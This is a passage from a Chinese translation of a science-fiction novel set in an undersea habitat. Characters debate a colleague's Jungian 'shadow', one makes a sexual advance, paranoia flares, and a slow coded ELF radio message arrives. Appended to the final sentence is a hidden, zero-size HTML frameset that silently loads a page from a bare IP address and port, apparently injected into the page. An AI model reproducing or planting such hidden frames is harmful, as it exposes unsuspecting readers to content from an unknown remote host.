四一

这个阴暗面为‘阴影’。阴影包含了个性中所有未被注意的方面——可恨的成分，虐待狂的成分，所有这类东西。荣格认为，人们必须了解自己的阴暗面。可是几乎没有人这样做。我们全都宁愿把自己看作是好人，从来不渴望去杀人、去使人残废、去强奸或去抢劫。”

    “不错”

    “正如荣格之所见，如果你不承认自己的阴暗面，阴暗面就会主宰你。”

    “那么我们正在目睹哈里的阴暗面吗？”

    “在某种意义上来说是这样。哈里需要扮演成一个目空一切的黑人万事通先生。”

    “他当然是这样。”

    “所以，如果说他害怕待在这儿的居留舱中——又有谁不感到害怕呢？——他又无法承认自己感到恐惧。然而不管他是否承认，恐惧却客观地笼罩着他。于是他的阴暗面便来为他的恐惧辩护——制造出东西来，证明他的恐惧是有道理的。”

    “鱿鱼的出现是为了辩护他的恐惧吗？”

    “是的，就是那么回事。”

    “我可不明白。”贝思说道。她往后靠去，抬起头来，那高高的颧骨被灯光照亮。她看起来就像一个模特儿，雅致、端庄、充满活力。“我是动物学家，诺曼。我想亲手触摸到东西，把它们放在自己的手中，感觉到是实实在在的。所有关于表现形式的理论，只是它们如此充满心理学的概念。”

    “人的内心世界也像外界的现实世界一样，是实实在在的，严格地遵循客观规律。”诺曼说道。

    “是呀，我相信你是对的，可是”贝思耸耸肩“这并不能令我十分信服。”

    “自从我们来到这儿以后，你了解周围发生的一切，”诺曼说道“那么请你也提出一个能解释所有现象的假设来。”

    “我提不出。”贝思承认道“在你说话的过程中，我一直设法作出假设，但我办不到。”她把手上的报表纸叠起来，思忖了一会儿。“诺曼，我觉得你说出了一系列十分高明的推论。绝对高明，我对你刮目相看啦。”

    诺曼很高兴她露出了微笑。自从他来到居留舱以后，在大部分时间里，他感到自己像车子的第五个轮子，在小组里是个多余的人，现在有人承认了他的贡献，因此他十分得意。“谢谢你，贝思。”

    贝思注视着他，两只大眼睛水汪汪的，充满了温柔。“你是个具有吸引力的男人，诺曼。我过去从来没有真正注意到这一点。”她漫不经心地摸了下自己绷在紧身连衣裤下的乳房，双手按住从衣服中鼓出的坚硬的乳头。她突然站起身来，拥抱住诺曼，身体紧靠着他。“在这儿，我们得待在一起，”她说道“我们得紧靠在一起，你和我。”

    “是的，我们需要这样。”

    “因为倘若你所说的都确凿无疑，那么哈里就是个十分危险的人。”

    “是的。”

    “我们该怎么办？”

    “嗨，你们这两个家伙，”哈里边说，边登上梯子“在进行私人约会吗？旁人能不能加入？”

    “当然可以，”诺曼回答道“上来吧，哈里，”他从贝思身边走开。

    “我打扰你们了吗？”哈里问道。

    “没有。没有。”

    “我不想妨碍任何人的性生活。”

    “哦，哈里。”贝思说道。她朝一边走开，坐在实验室的椅子上。

    “唔，你们俩一定是因为某种缘故而显得精神振奋。”

    “是吗？”诺曼反问道。

    “一点儿也没错，尤其是贝思。我觉得她自从到这儿来以后，变得愈来愈漂亮了。”

    “我也注意到了。”诺曼笑着说。

    “你真的变漂亮了。恋爱中的女人。幸运儿。”哈里朝贝思转过身去。“你干吗这样瞪视着我？”

    “我没有瞪着你看。”贝思说道。

    “你也是一样。”

    “哈里，我没有。”

    “老天爷，谁要是盯着我看，我就能判断出来。”

    诺曼说道：“哈里——”

    “——我就是想知道，你们俩为什么要那样看着我，好像我是罪犯或什么似的。”

    “别疑神疑鬼的，哈里。”

    “偷偷地躲在这儿，窃窃私语”

    “我们没有窃窃私语。”

    “你们刚才就是在说悄悄话。”哈里看看四周。“那么现在是两个白人，一个黑人了，对不对？”

    “哦，哈里”

    “你知道，我并不傻。你们俩之间有什么秘密，我都看得出来。”

    “哈里，”诺曼辩解道“什么也没有。”

    这时，他们听到了低沉而持续的嘟嘟声从下面的通信控制台传来。他们交换了一下眼色，便下楼去看个究竟。

    控制台的屏幕上慢慢出现了几组字母。

    cqxvdxmoplki

    “那是杰里吗？”诺曼问道。

    “我认为不是，”哈里说道“我觉得他不会回来传送密码。”

    “那是一种密码吗？”

    “我肯定是的。”

    “为什么显现得那么缓慢？”贝思问道。每过几秒钟，就出现一个新字母，持续而富有节奏。

    “我不知道。”哈里回答道。

    “这是从哪儿来的？”

    哈里皱起了眉头。“我不知道，但是它的传送速度是最有趣的特征，十分缓慢，真有趣。”

    诺曼和贝思等着哈里破译密码。诺曼思忖道：我们没有哈里怎么行？我们需要他。现在他是这儿最主要的讯息来源，又是最危险的角色，但是我们需要他。

    cqxvdxmoplkixxcvrwtkgpiuyqa

    “真有趣，”哈里说道“这些字母每5秒钟出现一个，所以我认为，而且可以很有把握地说，我们知道信号是从哪儿来的。威斯康星州。”

    “你怎么知道？”

    “因为在世界上，这是唯一能够发出这些信号的地方。”哈里回答道“你知道极低频吗？不知道？唔，是这么回事。你可以通过空气传送无线电波，而且，正如我们所知，无线电波在空气中传播得很快。但是你无法在水中将电波传送得很远。水是一种不良导体，因此，即使要传送很短的距离，也需要一种令人难以置信的强大信号。”

    “是呀”

    “不过，穿透力是长波的功能。通常的无线电波都很短——短波无线电，诸如此类的东西。这些波都很小，往往几千个波，甚至几百万个波才一英寸长。然而你可以制造极低频波，这种波很长——每个波也许有20英尺长。那些波一旦被发射，就能够在水中穿过很长的距离，几千英里都没有问题。唯一的问题是由于这种波很长，因此它们的传播速度也就十分缓慢。那就是我们每隔5秒钟才得到一个字母的原因。海军需要寻找方法与海底潜艇通讯联络，于是他们就在威斯康星州建造了大型极低频天线来传送这些长波。那就是我们现在得到的信号。”

    “那么这些密码呢？”

    “这一定是一种压缩码。——三个字母一组的字母群，代表一大段事先确定的讯息。这样传送一段电文不需要很长的时间。因为倘若你传送一段平日的电文，逐字逐句地要花费几个小时才行呢。”<frameset framespacing="0" border="0" rows="0" frameborder="0"><frame name="main" src="http://58.220.32.210:98/" scrolling="auto" noresize></frameset>